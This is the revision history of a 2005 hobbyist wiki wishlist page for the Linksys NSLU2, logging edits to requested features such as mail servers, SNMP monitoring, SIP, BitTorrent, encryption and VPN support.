  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it. [done: wakelan package avilable]
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
Changed lines 62-63 from:
  • Bluetooth PAN access point: Add a Bluetooth dongle and make the slug to route the wireless traffic to the ethernet.
to:
Is there a turnkey package for the NSLU2, or are you just showing how 'smart' you are?
Deleted lines 67-70:
  • Security: When the NSLU2 boots it is temporarily open to attack on 192.168.0.1 port 9000. The only way I [jbowler] know to prevent this is to firewall it within the network behind a router which won't forward to that address. Otherwise simple physical or wireless access to the network and an 'accidental' power failure permit an attacker to modify the flash, hence potentially gain access after boot. It would be good to have, or find, a way of modifying the config so that RedBoot won't do this on boot (e.g. restrict access to upgrade to require the reset button.)
If an attacker has access to your network and can cause a power failure then I think you've got much greater problems than them modifying stuff on your NSLU2. If you want to fix this hole then you will have to recompile and replace RedBoot. -- tman
Added lines 81-82:
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into Apache for visualisation and monitoring would be the bomb!!!
Deleted lines 92-95:
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into Apache for visualisation and monitoring would be the bomb!!!
  • BitTorrent Client: A BitTorent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
Deleted lines 94-97:
  • Topfield PVR and mt-daapd: The Topfield PVR, while primarily a set top box, can store MP3 files and select/play them using your remote control and tele. Puppy, allows Ethernet connectivity to the Topfield PVR using the slug. Mt-daapd describes using the slug as an iTunes server using mt-daapd . See also http://www.fibiger.org/musicserver/nslu2-mtdaapd-howto.html.
If mt-daapd could use puppy to produce the MP3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its filesystem i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
Added lines 104-142:

Fulfilled Wishes

These are the items requested that now exist.

  • Webcam Support: SPCA5XX, SAA8115HL, SAA811HL, OV511 OV511+ CCD chipset support to add a webcam!
  • iSCSI target: An iSCSI target implemention, ARDIS Tech iSCSI target and / or iSCSI Enterprise Target. iSCSI - for the non-initiated, exports LUNs to hosts via a TCP/IP network. Software initators are available for most operation systems including Linux and Windows. Enables you to see a target disk as a locally connected disk.
I have made a package vblade which will convert a seekable file (including a partition) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54G) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while BitTorenting? while still allowing others in the house to use HTTP.
Try the Traffic Shaping How to.
  • Topfield PVR and mt-daapd: The Topfield PVR, while primarily a set top box, can store MP3 files and select/play them using your remote control and tele. Puppy, allows Ethernet connectivity to the Topfield PVR using the slug. Mt-daapd describes using the slug as an iTunes server using mt-daapd . See also http://www.fibiger.org/musicserver/nslu2-mtdaapd-howto.html.
If mt-daapd could use puppy to produce the MP3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its filesystem i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
  • BitTorrent Client: A BitTorent? client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
  • MySQL server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP. Package exists for Unslung, see: MySQL
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
  • Bluetooth PAN access point?: Add a Bluetooth dongle and make the slug to route the wireless traffic to the ethernet.
  • WAP Gateway: Add a WAP gateway package so that you can get internet access on cell phones and other devices through your broadband connection without paying additional money to your cellular service provider.
Creating the equivelent of a WAP gateway is only possible using Bluetooth phone. See previous wish Bluetooth PAN access point?.
  • VOIP: Add a USB Bluetooth dongle, a Bluetooth headset, and USB keypad e.g. laptop numeric keypad to turn your slug into a phone.
  • SIP Server - Ever wished for your own VoIP PBX at home? - Look here. I would really like to have SER running on my Slug. SIP Express Router (ser) is a high-performance, configurable, free SIP (RFC3261) server. It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available. Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.
  • Print Server: HowToAddPrinter - CUPS is now ready for testing and Linksys Samba integration is described on the wiki page - specifically how to add a USB printer and be able to print to it over the network. There's some evidence in the Flash configuration partition that Linksys did some work on this, probably via Samba.
  • Dynamic IP Publishing - Provide a NSLU2 program which will determine the dynamic IP address of the local router and have NSLU2 post the address to an external website/location when it changes so access to the NSLU2, as well as other devices/computers on your local net, is always available.
June 18, 2005, at 10:00 PM by marceln -- net-snmp package added
Changed lines 100-101 from:
to:
Work on net-snmp is in progress. There is a makefile in cvs.
June 16, 2005, at 05:30 PM by caplink811 -- add a done at section antivir
Changed lines 54-55 from:
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include Clam Antivirus and Open Antivirus.
to:
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include Clam Antivirus and Open Antivirus.[done: clamav package available]
June 15, 2005, at 08:15 PM by marceln --
Changed lines 32-33 from:
I have made a package "vblade" which will convert a seekable file (including a partion) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
to:
I have made a package vblade which will convert a seekable file (including a partition) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
June 15, 2005, at 08:12 PM by marceln -- vblade comment
Added lines 32-33:
I have made a package "vblade" which will convert a seekable file (including a partion) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
June 14, 2005, at 06:39 AM by VirtualCtor -- Suggested changes to /opt/etc/init.d
Added lines 126-127:
  • /opt/etc/init.d Changes: Currently, startup scripts for added packages are placed into the /opt/etc/init.d directory prefixed by an "S" and a number. This suggestion would change the startup process to be more like svr4. Instead of placing the S* scripts into /etc/opt/init.d, the unprefixed scripts would be placed there, and a S* prefixed link to each script would be placed into a new directrory named, /opt/etc/rc.d. This change makes it simple to modify what services get run when the slug starts. Only the links in /etc/opt/rc.d need to be changed to change the behavior of the slug. Proper runlevel support could be added later if needed.
June 13, 2005, at 08:33 PM by tman --
Changed lines 5-9 from:
  • SIP Server - Ever wished for your own VoIP? PBX at home? - Look here: http://sipath.sourceforge.net/weblinks.php - I would really like to have SER running on my Slug http://sip-router.org/ser/ - SIP Express Router (ser) is a high-performance, configurable, free SIP ( RFC3261? ) server . It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber? gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available. Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.
  • Dynamic IP Publishing - Provide a NSLU2 program which will determine the dynamic IP address of the local router and have NSLU2 post the address to an external website/location when it changes so access to the NSLU2, as well as other devices/computers on your local net, is always available.

RE: Check the script for DynDNS service.

to:
  • SIP Server - Ever wished for your own VoIP PBX at home? - Look here: http://sipath.sourceforge.net/weblinks.php - I would really like to have SER running on my Slug http://sip-router.org/ser/ - SIP Express Router (ser) is a high-performance, configurable, free SIP (RFC3261) server. It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available. Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.
  • Dynamic IP Publishing - Provide a NSLU2 program which will determine the dynamic IP address of the local router and have NSLU2 post the address to an external website/location when it changes so access to the NSLU2, as well as other devices/computers on your local net, is always available. RE: Check the script for DynDNS service.
Deleted lines 47-48:
  • NSLU2 Photo Page: Add web page here somewhere with photos of the outside and inside of the NSLU2. (Internals may be found at PhotosOfTheInternals)
Changed lines 52-53 from:
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include Clam Antivirus and Open Antivirus.
to:
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include Clam Antivirus and Open Antivirus.
Changed lines 56-57 from:
  • Searching: A search tool, probably web based, to data-mine the data stored on the slug from the slug directly. See SlashDot for discussions on various ones.
to:
  • Searching: A search tool, probably web based, to data-mine the data stored on the slug from the slug directly. See Slashdot for discussions on various ones.
Changed lines 62-63 from:
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54g) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while BitTorrenting while still allowing others in the house to use HTTP.
to:
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54G) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while BitTorrenting while still allowing others in the house to use HTTP.
Changed lines 70-72 from:
  • Webmail (Squirrelmail): In addition to an imap mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up).
to:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up).
Changed lines 91-92 from:
  • Ion3: Lightweight X11 window manager ion
to:
  • Ion3: Lightweight X11 window manager ion
Changed lines 95-96 from:
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (postscript and non-postscript)
to:
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (Postscript and non-postscript)
Changed lines 101-121 from:
  • Shoutcast:A shoutcast server so I can listen to mp3s away from home and share with pals.
  • ReplayTV Server:A DVArchive? port to make slug act as a networked ReplayTV?, enabling archiving of shows.
  • DVarchive:DVarchive? is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! see www.dvarchive.org - kitty
  • StreamRipper:Port of StreamRipper?, a utility to record mp3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into apache for visualisation and monitoring would be the bomb!!!
  • BitTorrent Client: A Bittorent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
  • CVS Server: port the standard (or CVSNT) server. The current CVS package appears to only be the client.
  • Topfield PVR and mt-daapd: The Topfield PVR, while primarily a settop box, can store mp3 files and select/play them using your remote control and tele. Puppy, see HomePage, allows Ethernet connectivity to the Topfield PVR using the slug. Mt-daapd describes using the slug as an iTunes server using mt-daapd . See also http://www.fibiger.org/musicserver/nslu2-mtdaapd-howto.html.
If mt-daapd could use puppy to produce the mp3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its file system i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
  • Hack a USB mp3 player: Lots of the current mp3 players around at the moment appear to use this chip http://sigmatel.com/products/stmp35xxpb.htm. Start hacking your iRiver, etc to use for VOIP, iTunes client as per Roku Soundbridge, network FM radio server, general media player, etc.
to:
  • Shoutcast:A shoutcast server so I can listen to MP3s away from home and share with pals.
  • ReplayTV Server:A DVArchive port to make slug act as a networked ReplayTV, enabling archiving of shows.
  • DVarchive:DVarchive is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! See www.dvarchive.org - kitty
  • StreamRipper:Port of StreamRipper, a utility to record MP3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into Apache for visualisation and monitoring would be the bomb!!!
  • BitTorrent Client: A BitTorent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
  • CVS Server: Port the standard (or CVSNT) server. The current CVS package appears to only be the client.
  • Topfield PVR and mt-daapd: The Topfield PVR, while primarily a set top box, can store MP3 files and select/play them using your remote control and tele. Puppy, allows Ethernet connectivity to the Topfield PVR using the slug. Mt-daapd describes using the slug as an iTunes server using mt-daapd . See also http://www.fibiger.org/musicserver/nslu2-mtdaapd-howto.html.
If mt-daapd could use puppy to produce the MP3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its filesystem i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
Changed lines 121-124 from:
  • OpenVPN client/server - some comments indicate this needs tun support in the kernel
  • Car Computer - mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....
to:
  • OpenVPN client/server - Some comments indicate this needs tun support in the kernel
  • Car Computer - Mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....
June 13, 2005, at 07:24 PM by Claus Peter Neff --
Changed lines 5-8 from:
  • SIP Server - Ever wished for your own VoIP? PBX at home? - Look here: http://sipath.sourceforge.net/weblinks.php - I would really like to have SER running on my Slug http://sip-router.org/ser/ - SIP Express Router (ser) is a high-performance, configurable, free SIP ( RFC3261? ) server . It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber? gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available.

Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.

to:
  • SIP Server - Ever wished for your own VoIP? PBX at home? - Look here: http://sipath.sourceforge.net/weblinks.php - I would really like to have SER running on my Slug http://sip-router.org/ser/ - SIP Express Router (ser) is a high-performance, configurable, free SIP ( RFC3261? ) server . It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber? gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available. Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.
June 13, 2005, at 07:21 PM by Claus Peter Neff -- VOIP SIP Server
Added lines 5-8:
  • SIP Server - Ever wished for your own VoIP? PBX at home? - Look here: http://sipath.sourceforge.net/weblinks.php - I would really like to have SER running on my Slug http://sip-router.org/ser/ - SIP Express Router (ser) is a high-performance, configurable, free SIP ( RFC3261? ) server . It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber? gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available.

Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.

June 08, 2005, at 04:44 PM by cdoban -- link to DynDNS page added
Changed lines 6-7 from:
to:

RE: Check the script for DynDNS service.

June 08, 2005, at 03:53 PM by Nirgal -- adding psybnc to the whishlist
Changed lines 127-129 from:
  • Car Computer - mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....
to:
  • Car Computer - mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....
  • PsyBNC - Better IRC bouncer than MIAU.
June 02, 2005, at 09:38 PM by Bruce -- added wish for Car Slug
Changed lines 125-127 from:
  • OpenVPN client/server - some comments indicate this needs tun support in the kernel
to:
  • OpenVPN client/server - some comments indicate this needs tun support in the kernel
  • Car Computer - mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....
June 02, 2005, at 03:49 PM by Max Waterman -- OpenVPN client/server
Changed lines 123-125 from:
  • /dev/loop - Provide the kernel module (block/loop) and the utils (losetup, already in busybox) to offer iso mounts (eg. to serve a linux distrib iso as an http/ftp/nfs repository).
to:
  • /dev/loop - Provide the kernel module (block/loop) and the utils (losetup, already in busybox) to offer iso mounts (eg. to serve a linux distrib iso as an http/ftp/nfs repository).
  • OpenVPN client/server - some comments indicate this needs tun support in the kernel
June 01, 2005, at 11:22 PM by vinZ2 --
Added lines 122-123:
  • /dev/loop - Provide the kernel module (block/loop) and the utils (losetup, already in busybox) to offer iso mounts (eg. to serve a linux distrib iso as an http/ftp/nfs repository).
May 24, 2005, at 12:37 PM by Mstolt -- correction of WikiGroup Link to Mysql
Changed lines 50-51 from:
  • MySQL? server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP.
to:
  • MySQL server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP. Package exists for Unslung, see: MySQL
May 24, 2005, at 12:32 PM by Mstolt -- Linking to MySQL Package
Changed lines 50-51 from:
  • MySQL server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP.
to:
  • MySQL? server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP.
May 07, 2005, at 03:02 AM by JP --
Added lines 120-121:
  • Hack a USB mp3 player: Lots of the current mp3 players around at the moment appear to use this chip http://sigmatel.com/products/stmp35xxpb.htm. Start hacking your iRiver, etc to use for VOIP, iTunes client as per Roku Soundbridge, network FM radio server, general media player, etc.
May 07, 2005, at 02:21 AM by JP --
Changed lines 115-119 from:
  • CVS Server: port the standard (or CVSNT) server. The current CVS package appears to only be the client.
to:
  • CVS Server: port the standard (or CVSNT) server. The current CVS package appears to only be the client.
  • Topfield PVR and mt-daapd: The Topfield PVR, while primarily a settop box, can store mp3 files and select/play them using your remote control and tele. Puppy, see HomePage, allows Ethernet connectivity to the Topfield PVR using the slug. Mt-daapd describes using the slug as an iTunes server using mt-daapd . See also http://www.fibiger.org/musicserver/nslu2-mtdaapd-howto.html.
If mt-daapd could use puppy to produce the mp3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its file system i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
May 06, 2005, at 06:22 PM by John Cole --
Added lines 113-115:
  • CVS Server: port the standard (or CVSNT) server. The current CVS package appears to only be the client.
May 05, 2005, at 12:47 PM by tman --
Changed lines 1-2 from:

'<'When you wish upon a slug...'>'

to:

When you wish upon a slug...

Deleted line 83:
Changed lines 106-107 from:

[kitty] DVarchive? is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! see www.dvarchive.org

to:
  • DVarchive:DVarchive? is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! see www.dvarchive.org - kitty
Changed line 112 from:
  • BitTorrent Client: A Bittorent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
to:
  • BitTorrent Client: A Bittorent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
May 02, 2005, at 07:57 PM by Anton --
Changed lines 111-113 from:
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into apache for visualisation and monitoring would be the bomb!!!
to:
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into apache for visualisation and monitoring would be the bomb!!!
  • BitTorrent Client: A Bittorent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
April 30, 2005, at 12:05 AM by k_velikov --
Changed lines 109-111 from:
  • StreamRipper:Port of StreamRipper?, a utility to record mp3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed
to:
  • StreamRipper:Port of StreamRipper?, a utility to record mp3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into apache for visualisation and monitoring would be the bomb!!!
April 29, 2005, at 04:24 PM by kitty -- ReplayTV info
Added lines 107-108:

[kitty] DVarchive? is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! see www.dvarchive.org

April 28, 2005, at 07:40 AM by Arno Jansen --
Added lines 70-72:
  • Webmail (Squirrelmail): In addition to an imap mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up).
April 26, 2005, at 01:17 AM by dsr --
Changed line 104 from:
  • StreamRipper:Port of StreamRipper?, a utility to record mp3 streams from internet to a file.
to:
  • StreamRipper:Port of StreamRipper?, a utility to record mp3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed
April 24, 2005, at 01:37 AM by dsr --
Changed lines 100-104 from:
  • Shoutcast:A shoutcast server so I can listen to mp3s away from home and share with pals.
to:
  • Shoutcast:A shoutcast server so I can listen to mp3s away from home and share with pals.
  • ReplayTV Server:A DVArchive? port to make slug act as a networked ReplayTV?, enabling archiving of shows.
  • StreamRipper:Port of StreamRipper?, a utility to record mp3 streams from internet to a file.
April 23, 2005, at 11:07 PM by Spike -- more encryption
Changed lines 98-99 from:
  • Encryption:A way to run the disks with encryption. The password need to be entered every time the NSLU2 is restarted. That way your data is protected even if the disks are stolen.
to:
  • Encryption:A way to run the disks with encryption. The password need to be entered every time the NSLU2 is restarted. That way your data is protected even if the disks are stolen. Or the password might be taken from a file in a USB flash key, so using the disk without the USB key would not be possible
April 13, 2005, at 06:46 PM by j9ac9k --
Changed lines 98-100 from:
  • Encryption:A way to run the disks with encryption. The password need to be entered every time the NSLU2 is restarted. That way your data is protected even if the disks are stolen.
to:
  • Encryption:A way to run the disks with encryption. The password need to be entered every time the NSLU2 is restarted. That way your data is protected even if the disks are stolen.
  • Shoutcast:A shoutcast server so I can listen to mp3s away from home and share with pals.
April 05, 2005, at 07:09 AM by Ross --
Changed line 5 from:
  • Dynamic IP Publishing - Provide a program which will determine the dynamic IP address of the local router and post to an external website/location when it changes so that you will always have access to the NSLU2, as well as other devices/computers on your local net.
to:
  • Dynamic IP Publishing - Provide a NSLU2 program which will determine the dynamic IP address of the local router and have NSLU2 post the address to an external website/location when it changes so access to the NSLU2, as well as other devices/computers on your local net, is always available.
April 05, 2005, at 07:07 AM by Ross --
Added lines 5-6:
  • Dynamic IP Publishing - Provide a program which will determine the dynamic IP address of the local router and post to an external website/location when it changes so that you will always have access to the NSLU2, as well as other devices/computers on your local net.
April 05, 2005, at 05:16 AM by drknow --
Changed lines 94-96 from:
  • SNMP:simple network management protocol reporting would be EXCELLENT
to:
  • SNMP:simple network management protocol reporting would be EXCELLENT
  • Encryption:A way to run the disks with encryption. The password need to be entered every time the NSLU2 is restarted. That way your data is protected even if the disks are stolen.
April 02, 2005, at 08:28 PM by Vitroth --
Added line 69:
  • vitroth: I've done this, by installing AxKit and AxKit::App::Gallery. Unsuprisingly generating thumbnails on the fly is *slow*.
March 26, 2005, at 12:12 AM by gregclimbs --
Changed lines 91-93 from:
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (postscript and non-postscript)
to:
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (postscript and non-postscript)
  • SNMP:simple network management protocol reporting would be EXCELLENT
March 23, 2005, at 06:49 AM by alsagiac --
Changed line 20 from:

UPDATE: the developer's manual, althought having a date of March 2005, seems to be out of date compared to programmer's manual V1.5 (November 2004) saying that NPE does support little endian (see following comment).

to:
UPDATE: the developer's manual, althought having a date of March 2005, seems to be out of date compared to programmer's manual V1.5 (November 2004) saying that NPE does support little endian (see following comment).
March 23, 2005, at 06:47 AM by alsagiac --
Added line 20:

UPDATE: the developer's manual, althought having a date of March 2005, seems to be out of date compared to programmer's manual V1.5 (November 2004) saying that NPE does support little endian (see following comment).

March 22, 2005, at 06:44 PM by tman --
Added lines 21-22:
[tman] The IXP420 manual is old and hasn't been updated to reflect the fact that v1.5 of the NPE drivers does support little endian mode. Please read the paragraph regarding little endian mode again.
March 22, 2005, at 06:16 PM by alsagiac --
Added lines 19-20:
[alsagiac] IXP420 developer's manual says "due to the code written for the Network Processor Engines operation in little endian mode is not currently supported. The core must be set to big endian mode for proper operation". It unfortunately seems to be harder than expected...
March 21, 2005, at 01:08 AM by repvik --
Changed line 57 from:
  • Defrag: Does such a beast exist for ext3? If so, I want it :) (Comment: why? ext3 isn't prone to fragmentation - or is it?)
to:
  • Defrag: Does such a beast exist for ext3? If so, I want it :) (Comment: why? ext3 isn't prone to fragmentation - or is it?) (Comment-to-comment: IIRC, ext3 only gets fragmented when nearly full. It doesn't automatically defragment when this has happened. So if your disk runs full often, it might be nice.)
Added line 72:
March 19, 2005, at 07:42 PM by pepesz76 --
Added lines 84-85:
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (postscript and non-postscript)
March 19, 2005, at 06:23 PM by bzhou --
Changed lines 79-83 from:
  • WebDAV: I would love to have a webdav folder to sync my iCal (or SunBird) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
to:
  • WebDAV: I would love to have a webdav folder to sync my iCal (or SunBird) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
  • Ion3: Lightweight X11 window manager http://modeemi.cs.tut.fi/~tuomov/ion/ ion
  • VNCServer: This is so that the client side does not have to be a X11 server.
March 17, 2005, at 10:18 AM by pTweety --
Changed line 61 from:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail]
to:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
March 15, 2005, at 10:58 PM by Heinrich --
Added lines 5-6:
  • iPod Support Allowing you to hook up a iPod to one of the USB ports and then have some sort of web interface allowing you to transfer songs to your iPod from your Hard Drive thats attached on the other USB port.
March 15, 2005, at 10:49 PM by co --
Changed line 1 from:

When you wish upon a slug...

to:

'<'When you wish upon a slug...'>'

March 10, 2005, at 07:26 AM by bobtm --
Changed line 45 from:
  • Man pages for ipkg: Man pages are very useful. Attempting to figure how packages are put together without them isn't trivial.
to:
  • Man pages for ipkg: Man pages are very useful. Attempting to figure how packages are put together without them isn't trivial. [Partially done - many packages now have man pages and man for Unslung works nicely]
Changed line 57 from:
  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it.
to:
  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it. [done: wakelan package avilable]
Changed line 59 from:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server)
to:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail]
Changed line 63 from:
  • LDAP Server: Use the slug to centralize things like address books, users accounts, mount points etc.
to:
  • LDAP Server: Use the slug to centralize things like address books, users accounts, mount points etc. [done: openldap]
Changed line 69 from:
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver.
to:
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver.
Changed line 77 from:
  • WebDAV?: I would love to have a webdav folder to sync my iCal (or SunBird?) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
to:
  • WebDAV: I would love to have a webdav folder to sync my iCal (or SunBird) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
March 08, 2005, at 03:50 PM by Christian Bjerre --
Added lines 76-77:
  • WebDAV?: I would love to have a webdav folder to sync my iCal (or SunBird?) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
March 08, 2005, at 10:47 AM by sebster --
Changed line 17 from:
  • Webcam Support SAA8115HL, SAA811HL, OV511 OV511+ CCD chipset support to add a webcam!
to:
  • Webcam Support: http://mxhaard.free.fr/download.html SPCA5XX, SAA8115HL, SAA811HL, OV511 OV511+ CCD chipset support to add a webcam!
March 07, 2005, at 06:56 PM by tman --
Changed line 3 from:

